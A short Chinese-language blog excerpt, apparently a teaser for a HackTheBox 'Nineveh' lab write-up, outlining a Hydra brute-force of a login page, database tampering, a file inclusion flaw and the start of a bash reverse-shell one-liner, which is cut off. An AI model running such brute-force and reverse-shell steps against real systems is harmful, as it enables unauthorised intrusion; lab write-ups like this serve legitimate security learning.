ABB00717's Blog
blog.abb00717.com
Nineveh 在 Nineveh 這台靶機中，我們利用 Hydra 爆破了 nineveh.htb/db 的登入頁面，在裡面我們可以任意修改資料庫： 資料庫被存在 /var/tmp/，恰好在另外一個網頁 nineveh.htb/department/ 找到了 File Inclusion， 通常會直接用簡單的 配合簡單的 Reverse Shell： bash -c 'sh -i >& /dev…
讨论
登录后参与讨论
还没有评论，来说第一句吧。